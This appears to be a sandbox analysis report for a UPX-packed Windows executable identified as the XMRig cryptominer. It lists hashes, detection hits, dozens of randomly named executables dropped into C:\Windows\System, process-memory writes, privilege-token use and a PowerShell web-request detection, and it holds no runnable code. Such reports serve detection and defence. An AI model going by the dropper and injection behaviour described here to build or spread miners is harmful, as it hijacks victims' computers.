xmrig | 1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8

Analysis

max time kernel
149s
max time network
150s
platform
windows10-2004_x64
resource
win10v2004-20240508-en
resource tags

arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
submitted
30/06/2024, 21:34

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
Size

1.7MB
MD5

e17f89504f7845753db66aa5385e27d0
SHA1

42e79cd15381166939b984110d76ebf0e06fea80
SHA256

1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8
SHA512

8260be96fe3c19b0a76ddcd1b8ebf8c8562ad47ac3ed638505db6e0ad64504e50c648b38aa7a6fc10d76a83093c5bbb4fd2064aa78e9ff60a58e9d646d31135a
SSDEEP

24576:zv3/fTLF671TilQFG4P5PMkFfkeMlN675EgEPgsU5qTqOkDilK3uPpHbcMfOoMc:Lz071uv4BPMkFfdg6NsOkc2Ec

Score

10^/10

xmrig execution miner upx

Malware Config

Signatures

xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

XMRig Miner payload 40 IoCs

miner

resource	yara_rule
behavioral2/memory/4588-484-0x00007FF614580000-0x00007FF614972000-memory.dmp	xmrig
behavioral2/memory/4020-486-0x00007FF6B9940000-0x00007FF6B9D32000-memory.dmp	xmrig
behavioral2/memory/1304-489-0x00007FF737700000-0x00007FF737AF2000-memory.dmp	xmrig
behavioral2/memory/3004-491-0x00007FF6D5E70000-0x00007FF6D6262000-memory.dmp	xmrig
behavioral2/memory/4260-493-0x00007FF7EAC50000-0x00007FF7EB042000-memory.dmp	xmrig
behavioral2/memory/4812-495-0x00007FF79A990000-0x00007FF79AD82000-memory.dmp	xmrig
behavioral2/memory/652-497-0x00007FF7F8C40000-0x00007FF7F9032000-memory.dmp	xmrig
behavioral2/memory/3908-498-0x00007FF711F10000-0x00007FF712302000-memory.dmp	xmrig
behavioral2/memory/2352-496-0x00007FF75B2E0000-0x00007FF75B6D2000-memory.dmp	xmrig
behavioral2/memory/516-494-0x00007FF78E500000-0x00007FF78E8F2000-memory.dmp	xmrig
behavioral2/memory/676-492-0x00007FF782BB0000-0x00007FF782FA2000-memory.dmp	xmrig
behavioral2/memory/2132-490-0x00007FF6981A0000-0x00007FF698592000-memory.dmp	xmrig
behavioral2/memory/2576-488-0x00007FF7E4CD0000-0x00007FF7E50C2000-memory.dmp	xmrig
behavioral2/memory/1740-487-0x00007FF739E30000-0x00007FF73A222000-memory.dmp	xmrig
behavioral2/memory/4548-485-0x00007FF710730000-0x00007FF710B22000-memory.dmp	xmrig
behavioral2/memory/4560-431-0x00007FF751D10000-0x00007FF752102000-memory.dmp	xmrig
behavioral2/memory/1256-311-0x00007FF7F9140000-0x00007FF7F9532000-memory.dmp	xmrig
behavioral2/memory/1728-254-0x00007FF6CFB90000-0x00007FF6CFF82000-memory.dmp	xmrig
behavioral2/memory/4820-220-0x00007FF6E2B40000-0x00007FF6E2F32000-memory.dmp	xmrig
behavioral2/memory/4256-152-0x00007FF674F10000-0x00007FF675302000-memory.dmp	xmrig
behavioral2/memory/4072-116-0x00007FF69CB80000-0x00007FF69CF72000-memory.dmp	xmrig
behavioral2/memory/3760-16-0x00007FF67E9D0000-0x00007FF67EDC2000-memory.dmp	xmrig
behavioral2/memory/2972-3618-0x00007FF6DD010000-0x00007FF6DD402000-memory.dmp	xmrig
behavioral2/memory/1852-4041-0x00007FF626D50000-0x00007FF627142000-memory.dmp	xmrig
behavioral2/memory/2668-4062-0x00007FF63E940000-0x00007FF63ED32000-memory.dmp	xmrig
behavioral2/memory/4812-4067-0x00007FF79A990000-0x00007FF79AD82000-memory.dmp	xmrig
behavioral2/memory/1852-4077-0x00007FF626D50000-0x00007FF627142000-memory.dmp	xmrig
behavioral2/memory/4548-4090-0x00007FF710730000-0x00007FF710B22000-memory.dmp	xmrig
behavioral2/memory/1728-4113-0x00007FF6CFB90000-0x00007FF6CFF82000-memory.dmp	xmrig
behavioral2/memory/652-4127-0x00007FF7F8C40000-0x00007FF7F9032000-memory.dmp	xmrig
behavioral2/memory/2576-4242-0x00007FF7E4CD0000-0x00007FF7E50C2000-memory.dmp	xmrig
behavioral2/memory/4020-4303-0x00007FF6B9940000-0x00007FF6B9D32000-memory.dmp	xmrig
behavioral2/memory/4260-4320-0x00007FF7EAC50000-0x00007FF7EB042000-memory.dmp	xmrig
behavioral2/memory/516-4323-0x00007FF78E500000-0x00007FF78E8F2000-memory.dmp	xmrig
behavioral2/memory/1304-4308-0x00007FF737700000-0x00007FF737AF2000-memory.dmp	xmrig
behavioral2/memory/4588-4307-0x00007FF614580000-0x00007FF614972000-memory.dmp	xmrig
behavioral2/memory/3908-4306-0x00007FF711F10000-0x00007FF712302000-memory.dmp	xmrig
behavioral2/memory/676-4300-0x00007FF782BB0000-0x00007FF782FA2000-memory.dmp	xmrig
behavioral2/memory/3004-4280-0x00007FF6D5E70000-0x00007FF6D6262000-memory.dmp	xmrig
behavioral2/memory/4560-4169-0x00007FF751D10000-0x00007FF752102000-memory.dmp	xmrig

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Powershell Invoke Web Request.

execution

PowerShell

T1059.001

pid	Process
2640	powershell.exe

Executes dropped EXE 64 IoCs

pid	Process
3760	EsTplEm.exe
2668	dUJTuik.exe
1852	OdtNDch.exe
4072	zHMZorL.exe
4256	pVtgRHy.exe
4812	QLysNaQ.exe
4820	icsNyMa.exe
1728	TlDvqmf.exe
2352	VnjyZfN.exe
1256	kIbLpiF.exe
4560	RBJMRQL.exe
4588	EyODmqu.exe
4548	gfZGdWS.exe
4020	bXexfjS.exe
652	EXRAKZN.exe
1740	bUvSIKD.exe
2576	GwQjAps.exe
1304	mYrEufs.exe
2132	pHuVthf.exe
3004	kbwEAQw.exe
676	GfMyOPU.exe
4260	lJwbMGo.exe
516	rWnuAfS.exe
3908	bcDakYk.exe
2644	MIyDqku.exe
2104	TdhJzzo.exe
3304	fYhsIEZ.exe
1240	ZKPnYOA.exe
4180	NcSCRqs.exe
3500	uROtmyi.exe
512	xbpkTkr.exe
1196	izYFpLC.exe
4640	oawpJCe.exe
2984	ngpyxVU.exe
1408	tAFAjQp.exe
2700	PuRXnPK.exe
4312	iwntQlI.exe
4824	SICwhab.exe
1656	fnSWiET.exe
756	vCphtYp.exe
4524	AGYLpLK.exe
3272	aDShFXU.exe
408	EuOeqLb.exe
2600	NPbVeOC.exe
4920	IHuqnMQ.exe
4500	ntVqFoH.exe
464	HMrOjBh.exe
2928	txFklWT.exe
4428	FlIHXfu.exe
4412	yxhjtEo.exe
3724	HpVWEPA.exe
3600	YoCCjLq.exe
4632	JmIZuqd.exe
1108	FWgcOvG.exe
2804	dMFaSnI.exe
1572	vkzSJRd.exe
2244	wJqXfUn.exe
1032	WkoOudo.exe
212	YwgiMSy.exe
544	twTIlCS.exe
5024	CJlGUqX.exe
3028	WdkJsNV.exe
3100	jwOMbaD.exe
3356	QAsegzq.exe

UPX packed file 64 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/2972-0-0x00007FF6DD010000-0x00007FF6DD402000-memory.dmp	upx
behavioral2/files/0x00080000000235b0-5.dat	upx
behavioral2/files/0x00070000000235b4-20.dat	upx
behavioral2/files/0x00070000000235b9-31.dat	upx
behavioral2/files/0x00070000000235ca-142.dat	upx
behavioral2/files/0x00070000000235d9-212.dat	upx
behavioral2/memory/4588-484-0x00007FF614580000-0x00007FF614972000-memory.dmp	upx
behavioral2/memory/4020-486-0x00007FF6B9940000-0x00007FF6B9D32000-memory.dmp	upx
behavioral2/memory/1304-489-0x00007FF737700000-0x00007FF737AF2000-memory.dmp	upx
behavioral2/memory/3004-491-0x00007FF6D5E70000-0x00007FF6D6262000-memory.dmp	upx
behavioral2/memory/4260-493-0x00007FF7EAC50000-0x00007FF7EB042000-memory.dmp	upx
behavioral2/memory/4812-495-0x00007FF79A990000-0x00007FF79AD82000-memory.dmp	upx
behavioral2/memory/652-497-0x00007FF7F8C40000-0x00007FF7F9032000-memory.dmp	upx
behavioral2/memory/3908-498-0x00007FF711F10000-0x00007FF712302000-memory.dmp	upx
behavioral2/memory/2352-496-0x00007FF75B2E0000-0x00007FF75B6D2000-memory.dmp	upx
behavioral2/memory/516-494-0x00007FF78E500000-0x00007FF78E8F2000-memory.dmp	upx
behavioral2/memory/676-492-0x00007FF782BB0000-0x00007FF782FA2000-memory.dmp	upx
behavioral2/memory/2132-490-0x00007FF6981A0000-0x00007FF698592000-memory.dmp	upx
behavioral2/memory/2576-488-0x00007FF7E4CD0000-0x00007FF7E50C2000-memory.dmp	upx
behavioral2/memory/1740-487-0x00007FF739E30000-0x00007FF73A222000-memory.dmp	upx
behavioral2/memory/4548-485-0x00007FF710730000-0x00007FF710B22000-memory.dmp	upx
behavioral2/memory/4560-431-0x00007FF751D10000-0x00007FF752102000-memory.dmp	upx
behavioral2/memory/1256-311-0x00007FF7F9140000-0x00007FF7F9532000-memory.dmp	upx
behavioral2/memory/1728-254-0x00007FF6CFB90000-0x00007FF6CFF82000-memory.dmp	upx
behavioral2/memory/4820-220-0x00007FF6E2B40000-0x00007FF6E2F32000-memory.dmp	upx
behavioral2/files/0x00070000000235da-216.dat	upx
behavioral2/files/0x00070000000235d8-207.dat	upx
behavioral2/files/0x00070000000235d0-202.dat	upx
behavioral2/files/0x00070000000235ce-190.dat	upx
behavioral2/files/0x00070000000235c7-179.dat	upx
behavioral2/files/0x00070000000235c6-174.dat	upx
behavioral2/files/0x00070000000235bf-168.dat	upx
behavioral2/files/0x00070000000235d5-163.dat	upx
behavioral2/files/0x00070000000235cb-159.dat	upx
behavioral2/memory/4256-152-0x00007FF674F10000-0x00007FF675302000-memory.dmp	upx
behavioral2/files/0x00070000000235d4-146.dat	upx
behavioral2/files/0x00070000000235d3-145.dat	upx
behavioral2/files/0x00070000000235c3-144.dat	upx
behavioral2/files/0x00070000000235d2-137.dat	upx
behavioral2/files/0x00070000000235d1-136.dat	upx
behavioral2/files/0x00070000000235cf-196.dat	upx
behavioral2/files/0x00070000000235c0-181.dat	upx
behavioral2/files/0x00070000000235c5-166.dat	upx
behavioral2/files/0x00070000000235cd-128.dat	upx
behavioral2/files/0x00070000000235d7-165.dat	upx
behavioral2/memory/4072-116-0x00007FF69CB80000-0x00007FF69CF72000-memory.dmp	upx
behavioral2/files/0x00070000000235bd-113.dat	upx
behavioral2/files/0x00070000000235c1-105.dat	upx
behavioral2/files/0x00070000000235c9-104.dat	upx
behavioral2/files/0x00070000000235c8-103.dat	upx
behavioral2/files/0x00070000000235c2-134.dat	upx
behavioral2/files/0x00070000000235cc-125.dat	upx
behavioral2/files/0x00070000000235be-122.dat	upx
behavioral2/files/0x00070000000235c4-119.dat	upx
behavioral2/files/0x00070000000235bc-112.dat	upx
behavioral2/memory/1852-76-0x00007FF626D50000-0x00007FF627142000-memory.dmp	upx
behavioral2/files/0x00070000000235bb-69.dat	upx
behavioral2/files/0x00070000000235ba-87.dat	upx
behavioral2/memory/2668-40-0x00007FF63E940000-0x00007FF63ED32000-memory.dmp	upx
behavioral2/files/0x00070000000235b7-60.dat	upx
behavioral2/files/0x00070000000235b6-54.dat	upx
behavioral2/files/0x00070000000235b5-29.dat	upx
behavioral2/files/0x00070000000235b8-43.dat	upx
behavioral2/memory/3760-16-0x00007FF67E9D0000-0x00007FF67EDC2000-memory.dmp	upx

Drops file in Windows directory 64 IoCs

description	ioc	Process
File created	C:\Windows\System\iDwHsHc.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\EjRpFut.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\zzeCvsR.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\UujhyMc.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\XwhtUiQ.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\qUONzsH.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\DsnfDRm.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\WIsAbhO.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\MusxkIm.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\jylzvnC.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\DeCfUep.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\vkqvDEk.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\NwMSoQZ.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\zbCJDMn.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\FzqLvjp.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\xRXqajs.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\ZLMfxUQ.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\LECzfGI.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\VWwzUgP.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\BLmXsFr.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\pRHhjST.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\AildGme.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\lwKTRqz.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\cxvCifp.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\LdedaPX.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\GcmNLiY.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\nRItdkg.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\yFNugWw.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\hMpJGlZ.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\WLyekhO.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\LGKdiqM.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\AaAhlGc.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\GPkscCi.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\ECcpSdQ.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\GLqdQXQ.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\leylDSv.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\ZSHqDti.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\WeITFaz.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\hToZTDL.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\gbAnVxE.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\IlveyQr.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\XligOhZ.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\dsiOmXF.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\kFQUNpv.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\iqPzPuS.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\ETqcWlN.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\YsKKYDg.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\CBrqsux.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\iVPKSmb.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\QEnZweS.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\TIRTSgy.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\TgRoTLY.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\eKZVDtk.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\LUmmMud.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\chlBYwl.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\yPZABLs.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\emewFfp.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\ZFcefKa.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\pGxmsyN.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\FCQsnbv.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\PKqAbrS.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\WOpKnir.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\AUJKJOg.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
File created	C:\Windows\System\NaYXkdJ.exe	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
2640	powershell.exe
2640	powershell.exe
2640	powershell.exe
2640	powershell.exe
2640	powershell.exe
12768	msedge.exe
12768	msedge.exe
12768	msedge.exe
12768	msedge.exe
12768	msedge.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeLockMemoryPrivilege	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
Token: SeLockMemoryPrivilege	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe
Token: SeDebugPrivilege	2640	powershell.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 2972 wrote to memory of 2640	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	89
PID 2972 wrote to memory of 2640	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	89
PID 2972 wrote to memory of 3760	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	90
PID 2972 wrote to memory of 3760	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	90
PID 2972 wrote to memory of 1852	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	91
PID 2972 wrote to memory of 1852	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	91
PID 2972 wrote to memory of 2668	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	92
PID 2972 wrote to memory of 2668	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	92
PID 2972 wrote to memory of 4072	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	93
PID 2972 wrote to memory of 4072	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	93
PID 2972 wrote to memory of 4256	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	94
PID 2972 wrote to memory of 4256	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	94
PID 2972 wrote to memory of 4812	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	95
PID 2972 wrote to memory of 4812	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	95
PID 2972 wrote to memory of 4820	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	96
PID 2972 wrote to memory of 4820	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	96
PID 2972 wrote to memory of 1728	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	97
PID 2972 wrote to memory of 1728	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	97
PID 2972 wrote to memory of 4548	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	98
PID 2972 wrote to memory of 4548	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	98
PID 2972 wrote to memory of 2352	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	99
PID 2972 wrote to memory of 2352	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	99
PID 2972 wrote to memory of 1256	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	100
PID 2972 wrote to memory of 1256	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	100
PID 2972 wrote to memory of 4560	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	101
PID 2972 wrote to memory of 4560	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	101
PID 2972 wrote to memory of 4588	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	102
PID 2972 wrote to memory of 4588	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	102
PID 2972 wrote to memory of 4020	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	103
PID 2972 wrote to memory of 4020	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	103
PID 2972 wrote to memory of 652	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	104
PID 2972 wrote to memory of 652	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	104
PID 2972 wrote to memory of 1740	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	105
PID 2972 wrote to memory of 1740	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	105
PID 2972 wrote to memory of 2576	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	106
PID 2972 wrote to memory of 2576	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	106
PID 2972 wrote to memory of 1304	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	107
PID 2972 wrote to memory of 1304	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	107
PID 2972 wrote to memory of 2132	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	108
PID 2972 wrote to memory of 2132	2972	1b9b73d02d8c1285cb40dd8c6c26dd071c21c981a0a4861d7a502a0855c9f5b8_NeikiAnalytics.exe	108
